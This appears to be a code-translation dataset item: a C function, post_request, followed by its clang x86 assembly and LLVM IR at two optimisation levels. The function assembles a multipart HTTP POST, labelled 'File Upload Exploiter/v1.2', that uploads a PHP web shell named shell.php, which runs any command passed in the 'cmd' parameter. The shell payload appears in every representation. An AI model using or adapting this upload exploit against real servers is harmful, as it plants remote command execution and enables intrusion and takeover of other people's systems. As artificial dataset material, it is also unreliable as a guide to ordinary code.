#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */

/* Variables and functions */
int /*<<< orphan*/ fprintf(int /*<<< orphan*/, char *, long);
long snprintf(char *, int, char *, char *, char *, long);
int /*<<< orphan*/ stderr;
int /*<<< orphan*/ strcpy(char *, char *);
long strlen(char *);
int /*<<< orphan*/ strncat(char *, char *, int);
void post_request(char *p, char *path, char *arg, char *ar1) {
  char form[1024];
  long length = 0, size = 0;
  strcpy(form,
         "--------------------------c8e05c8871143853\r\nContent-Disposition: "
         "form-data; name=\"files\"; filename=\"shell.php\"\r\nContent-Type: "
         "application/octet-stream\r\n\r\n<?php $cmd=$_GET['cmd']; "
         "system($cmd);?>\r\n\r\n--------------------------c8e05c8871143853--"
         "\r\n\r\n");
  length = strlen(form);
  size = snprintf(p, 1024,
                  "POST /%s HTTP/1.1\r\nHost: %s\r\nUser-Agent: File Upload "
                  "Exploiter/v1.2\r\nAccept: */*\r\nContent-Length: "
                  "%ld\r\nContent-Type: multipart/form-data; "
                  "boundary=------------------------c8e05c8871143853\r\n\r\n",
                  path, arg, length);
  fprintf(stderr, "POST request size is %ld bytes\n", size + length);
  strncat(p, form, 1024 - size);
}


x86 assembly (clang, -O0):
<post_request>:
push   %rbp
mov    %rsp,%rbp
sub    $0x430,%rsp
mov    %rdi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
mov    %rdx,-0x18(%rbp)
mov    %rcx,-0x20(%rbp)
movq   $0x0,-0x428(%rbp)
movq   $0x0,-0x430(%rbp)
lea    -0x420(%rbp),%rdi
lea    0xe71(%rip),%rsi
call   1030 <strcpy@plt>
lea    -0x420(%rbp),%rdi
call   1040 <strlen@plt>
mov    %rax,-0x428(%rbp)
mov    -0x8(%rbp),%rdi
mov    -0x10(%rbp),%rcx
mov    -0x18(%rbp),%r8
mov    -0x428(%rbp),%r9
mov    $0x400,%esi
lea    0xf31(%rip),%rdx
call   1050 <snprintf@plt>
mov    %rax,-0x430(%rbp)
mov    0x2e07(%rip),%rax
mov    (%rax),%edi
mov    -0x430(%rbp),%rdx
add    -0x428(%rbp),%rdx
lea    0xfc7(%rip),%rsi
call   1070 <fprintf@plt>
mov    -0x8(%rbp),%rdi
lea    -0x420(%rbp),%rsi
mov    $0x400,%eax
sub    -0x430(%rbp),%rax
mov    %eax,%edx
call   1060 <strncat@plt>
add    $0x430,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<post_request>:
push   %rbp
push   %r15
push   %r14
push   %r13
push   %r12
push   %rbx
sub    $0x408,%rsp
mov    %rdx,%r15
mov    %rsi,%r12
mov    %rdi,%r13
lea    0xe8f(%rip),%rsi
mov    %rsp,%r14
mov    %r14,%rdi
call   1030 <strcpy@plt>
mov    %r14,%rdi
call   1040 <strlen@plt>
mov    %rax,%rbx
lea    0xf69(%rip),%rdx
mov    $0x400,%ebp
mov    %r13,%rdi
mov    $0x400,%esi
mov    %r12,%rcx
mov    %r15,%r8
mov    %rax,%r9
call   1050 <snprintf@plt>
mov    %rax,%r15
mov    0x2e2d(%rip),%rax
mov    (%rax),%edi
add    %r15,%rbx
lea    0xff8(%rip),%rsi
mov    %rbx,%rdx
call   1070 <fprintf@plt>
sub    %r15d,%ebp
mov    %r13,%rdi
mov    %r14,%rsi
mov    %ebp,%edx
call   1060 <strncat@plt>
add    $0x408,%rsp
pop    %rbx
pop    %r12
pop    %r13
pop    %r14
pop    %r15
pop    %rbp
ret

LLVM IR (-O0):
@.str = [247 x i8] c"--------------------------c8e05c8871143853\0D\0AContent-Disposition: form-data; name=\22files\22; filename=\22shell.php\22\0D\0AContent-Type: application/octet-stream\0D\0A\0D\0A<?php $cmd=$_GET['cmd']; system($cmd);?>\0D\0A\0D\0A--------------------------c8e05c8871143853--\0D\0A\0D\0A\00"
@.str.1 = [192 x i8] c"POST /%s HTTP/1.1\0D\0AHost: %s\0D\0AUser-Agent: File Upload Exploiter/v1.2\0D\0AAccept: */*\0D\0AContent-Length: %ld\0D\0AContent-Type: multipart/form-data; boundary=------------------------c8e05c8871143853\0D\0A\0D\0A\00"
@stderr = global i32 0
@.str.2 = [32 x i8] c"POST request size is %ld bytes\0A\00"
define void @post_request(i8* %0, i8* %1, i8* %2, i8* %3) {
%5 = alloca i8*
%6 = alloca i8*
%7 = alloca i8*
%8 = alloca i8*
%9 = alloca [1024 x i8]
%10 = alloca i64
%11 = alloca i64
store i8* %0, i8** %5
store i8* %1, i8** %6
store i8* %2, i8** %7
store i8* %3, i8** %8
store i64 0, i64* %10
store i64 0, i64* %11
%12 = getelementptr inbounds [1024 x i8], [1024 x i8]* %9, i64 0, i64 0
%13 = call i32 @strcpy(i8* %12, i8* getelementptr inbounds ([247 x i8], [247 x i8]* @.str, i64 0, i64 0))
%14 = getelementptr inbounds [1024 x i8], [1024 x i8]* %9, i64 0, i64 0
%15 = call i64 @strlen(i8* %14)
store i64 %15, i64* %10
%16 = load i8*, i8** %5
%17 = load i8*, i8** %6
%18 = load i8*, i8** %7
%19 = load i64, i64* %10
%20 = call i64 @snprintf(i8* %16, i32 1024, i8* getelementptr inbounds ([192 x i8], [192 x i8]* @.str.1, i64 0, i64 0), i8* %17, i8* %18, i64 %19)
store i64 %20, i64* %11
%21 = load i32, i32* @stderr
%22 = load i64, i64* %11
%23 = load i64, i64* %10
%24 = add nsw i64 %22, %23
%25 = call i32 @fprintf(i32 %21, i8* getelementptr inbounds ([32 x i8], [32 x i8]* @.str.2, i64 0, i64 0), i64 %24)
%26 = load i8*, i8** %5
%27 = getelementptr inbounds [1024 x i8], [1024 x i8]* %9, i64 0, i64 0
%28 = load i64, i64* %11
%29 = sub nsw i64 1024, %28
%30 = trunc i64 %29 to i32
%31 = call i32 @strncat(i8* %26, i8* %27, i32 %30)
ret void
}

LLVM IR (-O2):
@.str = [247 x i8] c"--------------------------c8e05c8871143853\0D\0AContent-Disposition: form-data; name=\22files\22; filename=\22shell.php\22\0D\0AContent-Type: application/octet-stream\0D\0A\0D\0A<?php $cmd=$_GET['cmd']; system($cmd);?>\0D\0A\0D\0A--------------------------c8e05c8871143853--\0D\0A\0D\0A\00"
@.str.1 = [192 x i8] c"POST /%s HTTP/1.1\0D\0AHost: %s\0D\0AUser-Agent: File Upload Exploiter/v1.2\0D\0AAccept: */*\0D\0AContent-Length: %ld\0D\0AContent-Type: multipart/form-data; boundary=------------------------c8e05c8871143853\0D\0A\0D\0A\00"
@stderr = global i32 0
@.str.2 = [32 x i8] c"POST request size is %ld bytes\0A\00"
define void @post_request(i8* %0, i8* %1, i8* %2, i8* nocapture readnone %3) {
%5 = alloca [1024 x i8]
%6 = getelementptr inbounds [1024 x i8], [1024 x i8]* %5, i64 0, i64 0
%7 = call i32 @strcpy(i8* %6, i8* getelementptr inbounds ([247 x i8], [247 x i8]* @.str, i64 0, i64 0))
%8 = call i64 @strlen(i8* %6)
%9 = call i64 @snprintf(i8* %0, i32 1024, i8* getelementptr inbounds ([192 x i8], [192 x i8]* @.str.1, i64 0, i64 0), i8* %1, i8* %2, i64 %8)
%10 = load i32, i32* @stderr
%11 = add nsw i64 %9, %8
%12 = call i32 @fprintf(i32 %10, i8* getelementptr inbounds ([32 x i8], [32 x i8]* @.str.2, i64 0, i64 0), i64 %11)
%13 = trunc i64 %9 to i32
%14 = sub i32 1024, %13
%15 = call i32 @strncat(i8* %0, i8* %6, i32 %14)
ret void
}